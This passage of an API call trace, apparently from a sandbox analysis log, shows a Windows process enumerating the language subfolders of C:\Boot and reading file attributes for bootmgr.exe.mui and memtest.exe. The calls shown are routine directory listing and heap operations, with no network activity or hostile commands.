ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.962] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.962] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.962] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0033.962] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.962] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.962] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.962] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.962] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.962] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.962] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0033.962] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.963] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.963] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.963] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.963] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.963] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.963] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0033.963] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.963] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.963] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.963] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.963] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.963] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.963] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0033.963] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.963] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.963] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.963] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.964] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.964] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.964] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0033.964] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.964] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.964] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.964] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.964] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.964] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.964] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0033.964] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.964] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.964] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.964] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.964] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.964] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.964] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0033.964] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.964] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.965] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.965] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.965] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.965] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.965] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0033.965] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.965] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.965] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.965] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.965] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.965] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.965] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0033.965] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.965] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.965] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.965] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.965] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.966] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.966] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0033.966] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.966] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.966] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.966] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.966] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.966] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.966] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0033.966] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) 